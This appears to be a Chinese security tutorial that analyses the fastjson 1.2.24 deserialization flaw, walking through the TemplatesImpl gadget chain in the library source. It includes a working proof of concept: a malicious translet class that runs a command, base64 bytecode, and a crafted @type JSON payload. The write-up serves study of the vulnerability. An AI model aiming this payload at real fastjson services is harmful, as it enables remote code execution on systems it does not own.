java安全fastjson1.2.24反序列化TemplatesImpl分析
前言
漏洞環(huán)境:
fastjson1.2.24
jdk1.7.80
新建一個maven項(xiàng)目在pom.xml文件中引入fastjson的依賴:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>fastjson是alibaba開源的一個用于處理json數(shù)據(jù)格式的解析庫,它支持將java對象解析成json字符串格式的數(shù)據(jù),也可以將json字符串還原成java對象。不難看出,java對象轉(zhuǎn)換成json數(shù)據(jù)就是序列化操作,而將json數(shù)據(jù)還原成java對象就是反序列化過程。
1. fastjson序列化
現(xiàn)在我們來看一下fastjson序列化過程,定義一個pojo類:
public class Student {
private String name;
private int age;
public Student() {
System.out.println(" method: Student() ");
}
public Student(String name , int age) {
System.out.println(" method: Student(String name , int age) ");
this.name = name;
this.age = age;
}
public String getName() {
System.out.println(" method: getName() ");
return name;
}
public int getAge() {
System.out.println(" method: getAge() ");
return age;
}
public void setName(String name) {
System.out.println(" method: setName() ");
this.name = name;
}
public void setAge(int age) {
System.out.println(" method setAge() ");
this.age = age;
}
}示例程序:
public class FastjsonTest1 {
public static void main(String[] args) {
Student student = new Student("zhangsan" , 3);
String jsonString = JSON.toJSONString(student);
System.out.println(jsonString);
}
}執(zhí)行結(jié)果如下:
method: Student(String name , int age)
method: getAge()
method: getName()
{"age":3,"name":"zhangsan"}
fastjson調(diào)用toJSONString方法將Student對象轉(zhuǎn)換成json字符串?dāng)?shù)據(jù)的過程中會調(diào)用對象的getter方法。
另外toJSONString方法在進(jìn)行序列化時還可以指定一個可選的SerializerFeature.WriteClassName參數(shù),指定了該參數(shù)后,在序列化時json數(shù)據(jù)中會寫入一個@type選項(xiàng),
如下所示:

json數(shù)據(jù)中的@type選項(xiàng)用于指定反序列化的類,也就是說所,當(dāng)這段json數(shù)據(jù)被反序列化時,會按照@type選項(xiàng)中指定的類全名反序列化成java對象。
2. fastjson反序列化
fastjson提供了兩個反序列化函數(shù):parseObject和parse,我們通過示例程序來看一下fastjson的反序列化過程

方式一調(diào)用了parseObject方法將json數(shù)據(jù)反序列化成java對象,并且在反序列化過程中會調(diào)用對象的setter和getter方法。
方式二調(diào)用了parseObject方法進(jìn)行反序列化,并且指定了反序列化對象Student類,parseObject方法會將json數(shù)據(jù)反序列化成Student對象,并且在反序列化過程中調(diào)用了Student對象的setter方法。
方式三調(diào)用了parse方法將json數(shù)據(jù)反序列化成java對象,并且在反序列化時調(diào)用了對象的setter方法。
關(guān)于Feature.SupportNonPublicField參數(shù):
以上這三種方式在進(jìn)行反序列化時都會調(diào)用對象的構(gòu)造方法創(chuàng)建對象,并且還會調(diào)用對象的setter方法,如果私有屬性沒有提供setter方法時,那么還會正確被反序列化成功嗎?為了驗(yàn)證這個猜想,現(xiàn)在我們把Student對象的私有屬性name的setter方法去掉。
從程序執(zhí)行結(jié)果來看,私有屬性name并沒有被正確反序列化,也就是說fastjson默認(rèn)情況下不會對私有屬性進(jìn)行反序列化。

如果需要將私有屬性反序列化時,就可以調(diào)用parseObject方法指定Feature.SupportNonPublicField參數(shù),
如下所示:

方式一反序列化時沒有指定Feature.SupportNonPublicField參數(shù),私有屬性name沒有反序列化時沒有值,方式二和方式三指定了Feature.SupportNonPublicField參數(shù)后,私有屬性name可以正確被反序列化。
3. fastjson反序列化漏洞原理
在上一小節(jié)中我們知道fastjson在進(jìn)行反序列化時會調(diào)用目標(biāo)對象的構(gòu)造,setter,getter等方法,如果這些方法內(nèi)部進(jìn)行了一些危險(xiǎn)的操作時,那么fastjson在進(jìn)行反序列化時就有可能會觸發(fā)漏洞。
我們通過一個簡單的案例來說明fastjson反序列化漏洞原理
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.IOException;
/**
* @auther songly_
* @data 2021/8/23 15:27
*/
//定義一個惡意類TestTempletaHello
class TestTempletaHello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class FastjsonTest1 {
public static void main(String[] args) {
//創(chuàng)建惡意類的實(shí)例并轉(zhuǎn)換成json字符串
TestTempletaHello testTempletaHello = new TestTempletaHello();
String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);
System.out.println(jsonString);
//將json字符串轉(zhuǎn)換成對象
Object obj = JSON.parse(jsonString);
System.out.println(obj);
}
}在這個示例程序中先是構(gòu)造了一個惡意類,然后調(diào)用toJSONString方法序列化對象寫入@type,將@type指定為一個惡意的類TestTempletaHello的類全名,當(dāng)調(diào)用parse方法對TestTempletaHello類進(jìn)行反序列化時,會調(diào)用惡意類的構(gòu)造方法創(chuàng)建實(shí)例對象,因此惡意類TestTempletaHello中的靜態(tài)代碼塊中就會被執(zhí)行。
執(zhí)行結(jié)果如下:

4. fastjson1.2.24漏洞復(fù)現(xiàn)
在實(shí)際場景中很多類沒有這么明顯的可以產(chǎn)生漏洞的代碼,往往需要攻擊者自己想方設(shè)法通過一些操作(例如反射,類加載,一些危險(xiǎn)的函數(shù))來構(gòu)造一個漏洞利用環(huán)境。
在學(xué)習(xí)CC2利用鏈的時候我們分析了一個基于TemplatesImpl類的利用鏈,該類會把_bytecodes屬性的字節(jié)碼內(nèi)容加載并實(shí)例化,關(guān)于TemplatesImpl類的利用鏈的具體介紹可參考CC2利用鏈。
fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl類來構(gòu)造利用鏈,思路如下:
- 1. 構(gòu)造一個惡意類TempletaPoc繼承AbstractTranslet類,通過javassist字節(jié)碼編程將惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼并進(jìn)行base64編碼。
- 2. 然后構(gòu)造TemplatesImpl類的json數(shù)據(jù),將TempletaPoc類的字節(jié)碼設(shè)置到_bytecodes屬性中,當(dāng)json數(shù)據(jù)在還原成TemplatesImpl對象時會加載_bytecodes屬性中的TempletaPoc類并實(shí)例化,從而觸發(fā)漏洞。
定義一個惡意類TempletaPoc繼承AbstractTranslet類,通過javassist將惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼,然后進(jìn)行base64編碼
package com.fastjson.pojo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TempletaPoc extends AbstractTranslet {
//構(gòu)造RCE代碼
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}最終的poc代碼:
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.fastjson.pojo.Student;
import com.fastjson.pojo.TempletaPoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;
import java.io.IOException;
/**
* @auther songly_
*/
public class FastjsonTest1 {
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
//惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼,base64編碼
String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
//構(gòu)造TemplatesImpl的json數(shù)據(jù),并將惡意類注入到j(luò)son數(shù)據(jù)中
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+byteCode+"\"]," +
"'_name':'TempletaPoc'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(payload);
//反序列化
Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}這里解釋一下payload的構(gòu)造:
- @type:當(dāng)fastjson根據(jù)json數(shù)據(jù)對TemplatesImpl類進(jìn)行反序列化時,會調(diào)用TemplatesImpl類的getOutputProperties方法觸發(fā)利用鏈加載_bytecodes屬性中的TempletaPoc類字節(jié)碼并實(shí)例化,執(zhí)行RCE代碼。
- _bytecodes:前面已經(jīng)介紹過了,主要是承載惡意類TempletaPoc的字節(jié)碼。
- _name:關(guān)于_name屬性,在調(diào)用TemplatesImpl利用鏈的過程中,會對_name進(jìn)行不為null的校驗(yàn),因此_name的值不能為null(具體可參考CC2利用鏈)
- _tfactory:在調(diào)用TemplatesImpl利用鏈時,defineTransletClasses方法內(nèi)部會通過_tfactory屬性調(diào)用一個getExternalExtensionsMap方法,如果_tfactory屬性為null則會拋出異常,無法根據(jù)_bytecodes屬性的內(nèi)容加載并實(shí)例化惡意類
- outputProperties:json數(shù)據(jù)在反序列化時會調(diào)用TemplatesImpl類的getOutputProperties方法觸發(fā)利用鏈,可以理解為outputProperties屬性的作用就是為了調(diào)用getOutputProperties方法。
漏洞利用成功,接下來我們分析一下parseObject方法是如何觸發(fā)漏洞的

5. fastjson1.2.24漏洞分析
參數(shù)features是一個可變參數(shù),parseObject方法底層實(shí)際上是調(diào)用了parse方法進(jìn)行反序列化,并且將反序列化的Object對象轉(zhuǎn)成了JSONObject
public static JSONObject parseObject(String text, Feature... features) {
return (JSONObject) parse(text, features);
}parse方法會循環(huán)獲取可變參數(shù)features中的值,然后繼續(xù)調(diào)用parse方法
public static Object parse(String text, Feature... features) {
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
return parse(text, featureValues);
}分析parse方法:
public static Object parse(String text, int features) {
if (text == null) {
return null;
}
//將json數(shù)據(jù)放到了一個DefaultJSONParser對象中
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
//然后調(diào)用parse方法解析json
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}parse方法創(chuàng)建了一個JSONObject對象存放解析后的json數(shù)據(jù),而parseObject方法作用就是把json數(shù)據(jù)的內(nèi)容反序列化并放到JSONObject對象中,JSONObject對象內(nèi)部實(shí)際上是用了一個HashMap來存儲json。
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
//省略部分代碼......
case LBRACE:
//創(chuàng)建一個JSONObject對象
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
//parseObject方法
return parseObject(object, fieldName);
//省略部分代碼......
}
}繼續(xù)跟進(jìn)parseObject方法;
public final Object parseObject(final Map object, Object fieldName) {
//省略部分代碼......
//從json中提取@type
key = lexer.scanSymbol(symbolTable, '"');
//省略部分代碼......
//校驗(yàn)@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
//提取type對應(yīng)的值
String typeName = lexer.scanSymbol(symbolTable, '"');
//然后根據(jù)typeName進(jìn)行類加載
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}
}
//省略部分代碼......
//然后將class對象封裝成ObjectDeserializer對象
ObjectDeserializer deserializer = config.getDeserializer(clazz);
//然后調(diào)用deserialze方法進(jìn)行反序列化
return deserializer.deserialze(this, clazz, fieldName);
}parseObject方法主要是從json數(shù)據(jù)中提取@type并進(jìn)行校驗(yàn)是否開啟了autoType功能,接著會調(diào)用loadClass方法加載@type指定的TemplatesImpl類,然后將TemplatesImpl類的class對象封裝到ObjectDeserializer 中,然后調(diào)用deserialze方法進(jìn)行反序列化。
我們來看一下deserializer的內(nèi)容,如下圖所示:

TemplatesImpl類的每個成員屬性封裝到deserializer的fieldInfo中了。
然后調(diào)用了deserialze方法,該方法中的參數(shù)如下所示:

deserialze方法內(nèi)部的代碼邏輯實(shí)在是太復(fù)雜了,內(nèi)部有大量的校驗(yàn)和if判斷,這里只是簡單的分析了大概的邏輯,這些已經(jīng)足夠我們理解TemplatesImpl的利用鏈了,后期深入分析fastjson的防御機(jī)制,以及在構(gòu)造payload如何繞過校驗(yàn)機(jī)制時,再深入分析deserialze方法分析fastjson的解析過程做了哪些事情,目前我們先把TemplatesImpl的利用鏈搞清楚再說。
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
//省略部分代碼......
//調(diào)用createInstance方法實(shí)例化
if (object == null && fieldValues == null) {
object = createInstance(parser, type);
if (object == null) {
fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
}
childContext = parser.setContext(context, object, fieldName);
}
//省略部分代碼......
//調(diào)用parseField方法解析json
boolean match = parseField(parser, key, object, type, fieldValues);
}我們只分析deserialze方法中的部分核心代碼,deserialze方法內(nèi)部主要是調(diào)用了createInstance方法返回一個object類型的對象(也就是TemplatesImpl對象),然后調(diào)用了parseField方法解析屬性字段。
parseField方法:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
//省略部分代碼......
FieldDeserializer fieldDeserializer = smartMatch(key);
//SupportNonPublicField選項(xiàng)
final int mask = Feature.SupportNonPublicField.mask;
//if判斷會校驗(yàn)SupportNonPublicField選項(xiàng)
if (fieldDeserializer == null
&& (parser.lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
//獲取TemplatesImpl對象的屬性信息
}
//省略部分代碼......
//調(diào)用parseField方法解析字段
fieldDeserializer.parseField(parser, object, objectType, fieldValues);
return true;
}parseField方法內(nèi)部會對參數(shù)features中的SupportNonPublicField選項(xiàng)進(jìn)行校驗(yàn),這個if判斷主要是獲取TemplatesImpl對象的所有非final或static的屬性,如果fastjson調(diào)用parseObject方法時沒有設(shè)置SupportNonPublicField選項(xiàng)的話,就不會進(jìn)入這個if判斷,那么fastjson在進(jìn)行反序列化時就不會觸發(fā)漏洞。
校驗(yàn)完SupportNonPublicField選項(xiàng)后,調(diào)用parseField方法解析TemplatesImpl對象的屬性字段,先來看一下parseField方法的參數(shù)

parseField方法主要會做以下事情,調(diào)用fieldValueDeserilizer的deserialze方法將json數(shù)據(jù)中每個屬性的值都提取出來放到value 中,然后調(diào)用setValue方法將value的值設(shè)置給object。
@Override
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
//省略部分代碼......
//解析json中的數(shù)據(jù)(將每個屬性的值還原)
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
//省略部分代碼......
setValue(object, value);
}可以看到deserialze方法將json數(shù)據(jù)中的_bytecodes值提取出來進(jìn)行base64解碼存放到value中,接著調(diào)用setValue方法將value設(shè)置給object(即TemplatesImpl對象的_bytecodes)。

繼續(xù)跟進(jìn)fieldValueDeserilizer的deserialze方法
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
//省略部分代碼......
if (lexer.token() == JSONToken.LITERAL_STRING) {
//調(diào)用了bytesValue方法
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
//省略部分代碼......
}deserialze方法內(nèi)部調(diào)用了bytesValue方法。
bytesValue方法內(nèi)部調(diào)用了確實(shí)對json數(shù)據(jù)中的_bytecodes值進(jìn)行了base64解碼

前面我們說過json數(shù)據(jù)中的outputProperties的作用是觸發(fā)TemplatesImpl利用鏈的
觸發(fā)漏洞的關(guān)鍵就在于當(dāng)fastjson調(diào)用setValue方法將json數(shù)據(jù)中的outputProperties的值設(shè)置給TemplatesImpl對象時會觸發(fā)漏洞,調(diào)用TemplatesImpl類的getOutputProperties方法。
繼續(xù)分析setValue方法是如何觸發(fā)漏洞的
public void setValue(Object object, Object value){
//首先校驗(yàn)value是否為null
if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}
try {
//根據(jù)outputProperties屬性獲取對應(yīng)的方法
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {
if (fieldInfo.fieldClass == AtomicInteger.class) {
AtomicInteger atomic = (AtomicInteger) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicInteger) value).get());
}
} else if (fieldInfo.fieldClass == AtomicLong.class) {
AtomicLong atomic = (AtomicLong) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicLong) value).get());
}
} else if (fieldInfo.fieldClass == AtomicBoolean.class) {
AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicBoolean) value).get());
}
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
//反射調(diào)用getOutputProperties方法
Map map = (Map) method.invoke(object);
if (map != null) {
map.putAll((Map) value);
}
} else {
Collection collection = (Collection) method.invoke(object);
if (collection != null) {
collection.addAll((Collection) value);
}
}
} else {
method.invoke(object, value);
}
return;
}
}
//省略部分代碼......
}setValue方法對value進(jìn)行了不為null的校驗(yàn),然后解析_outputProperties(json中的_outputProperties被封裝到了fieldInfo中)。
fastjson會將屬性的相關(guān)信息封裝到fieldInfo中,具體信息如下:

然后判斷method中的getOutputProperties的返回值是否為Map,為什么是通過Map接口的class對象來判斷?因?yàn)镻roperties實(shí)現(xiàn)了Map接口,因此這個判斷滿足條件會通過反射調(diào)用TemplatesImpl對象的getOutputProperties方法。
關(guān)于getOutputProperties方法的調(diào)用
不知道大家有沒有思考過fastjson是如何獲取到getOutputProperties方法的?原因在于parseField方法內(nèi)部調(diào)用了JavaBeanDeserializer類的smartMatch方法

smartMatch方法會將json中的_outputProperties中的下劃線去掉,替換成outputProperties并封裝到fieldInfo中,我們知道fastjson在反序列化過程中會調(diào)用屬性的getter方法,因此這里還會將outputProperties屬性的getter方法也封裝到fieldInfo中的method當(dāng)中。
public FieldDeserializer smartMatch(String key) {
//省略部分代碼......
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
//是否有"_"特殊字符串
if (ch == '_') {
snakeOrkebab = true;
//把_字符串替換為空
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
if (snakeOrkebab) {
fieldDeserializer = getFieldDeserializer(key2);
if (fieldDeserializer == null) {
for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
fieldDeserializer = fieldDeser;
break;
}
}
}
}
}
//省略部分代碼......
}我們貌似... 大概知道了getOutputProperties方法是如何獲取的,繼續(xù)思考一下:fastjson在反序列化過程中具體是如何調(diào)用屬性的getter方法的?
答案是JavaBeanInfo類中有一個build方法,當(dāng)通過@type獲取TemplatesImpl類的calss對象后,會通過反射獲取該類的class對象的所有方法并封裝到Method數(shù)組中。然后通過for循環(huán)遍歷Method獲取getter方法,并將outputProperties屬性和getter方法(getOutputProperties方法)一起封裝到FieldInfo,從代碼中確實(shí)可以看到add方法會將FieldInfo放到了一個fieldList中,然后將fieldList封裝到JavaBeanInfo

getter方法的查找方式需要滿足以下幾個條件:
方法名長度不小于4
必須是非靜態(tài)方法
必須get字符串開頭,并且第四個字符為大寫字母
方法中不能有參數(shù)
返回值繼承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
在getter方法中不能有setter方法
這樣一來自然就獲取到了getOutputProperties( )方法,當(dāng)setValue方法從FieldInfo獲取到outputProperties屬性和getOutputProperties方法并反射調(diào)用getOutputProperties方法就會觸發(fā)TemplatesImpl利用鏈。
getOutputProperties方法內(nèi)部調(diào)用了newTransformer方法
public synchronized Properties getOutputProperties() {
try {
//調(diào)用newTransformer方法
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}newTransformer方法內(nèi)部調(diào)用了getTransletInstance方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
//調(diào)用了getTransletInstance方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}getTransletInstance方法內(nèi)部會對_name和_class進(jìn)行不為null校驗(yàn), 我們構(gòu)造的payload沒有_class,因此這里_class為null會調(diào)用defineTransletClasses方法加載_bytecodes屬性的類字節(jié)碼(加載TempletaPoc類)。
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
//調(diào)用defineTransletClasses方法
if (_class == null) defineTransletClasses();
//根據(jù)_class實(shí)例化類
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
}跟進(jìn)defineTransletClasses方法:
private void defineTransletClasses() throws TransformerConfigurationException {
//校驗(yàn)_bytecodes
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
//通過_tfactory調(diào)用getExternalExtensionsMap方法
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
//加載_bytecodes中的類(TempletaPoc)
_class[i] = loader.defineClass(_bytecodes[i]);
//獲取TempletaPoc的父類
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
//是否繼承了AbstractTranslet類
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}defineTransletClasses方法內(nèi)部會加載_bytecodes中的類字節(jié)碼數(shù)據(jù)(加載TempletaPoc類),并且會校驗(yàn)TempletaPoc類是否繼承了AbstractTranslet類。然后返回到getTransletInstance方法中,調(diào)用newInstance方法實(shí)例化TempletaPoc類執(zhí)行RCE代碼。
到此這篇關(guān)于java安全fastjson1.2.24反序列化TemplatesImpl分析的文章就介紹到這了,更多相關(guān)13-javafastjson1.2.24反序列化內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
如何基于SpringMVC實(shí)現(xiàn)斷點(diǎn)續(xù)傳(HTTP)
這篇文章主要介紹了如何基于SpringMVC實(shí)現(xiàn)斷點(diǎn)續(xù)傳(HTTP),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-01-01
SpringCloud微服務(wù)調(diào)用丟失請求頭的問題及解決方案
在Spring Cloud 中微服務(wù)之間的調(diào)用會用到Feign,但是在默認(rèn)情況下,Feign 調(diào)用遠(yuǎn)程服務(wù)存在Header請求頭丟失問題,下面給大家分享SpringCloud微服務(wù)調(diào)用丟失請求頭的問題及解決方案,感興趣的朋友一起看看吧2024-02-02
SpringBoot自動裝配Condition的實(shí)現(xiàn)方式
這篇文章主要介紹了SpringBoot自動裝配Condition的實(shí)現(xiàn)方式,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2021-08-08
Springboot-admin整合Quartz實(shí)現(xiàn)動態(tài)管理定時任務(wù)的過程詳解
Quartz是一款Java編寫的開源任務(wù)調(diào)度框架,同時它也是Spring默認(rèn)的任務(wù)調(diào)度框架,它的作用其實(shí)類似于Timer定時器以及ScheduledExecutorService調(diào)度線程池,這篇文章主要介紹了Springboot-admin整合Quartz實(shí)現(xiàn)動態(tài)管理定時任務(wù),需要的朋友可以參考下2023-04-04
Spring Data JPA 之 JpaRepository的使用
這篇文章主要介紹了Spring Data JPA 之 JpaRepository的使用方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-02-02
springcloud gateway自定義斷言規(guī)則詳解,以后綴結(jié)尾進(jìn)行路由
這篇文章主要介紹了springcloud gateway自定義斷言規(guī)則詳解,以后綴結(jié)尾進(jìn)行路由,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-10-10
java使用ArrayList實(shí)現(xiàn)斗地主(無序版)
這篇文章主要為大家詳細(xì)介紹了java使用ArrayList實(shí)現(xiàn)斗地主,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下2021-03-03

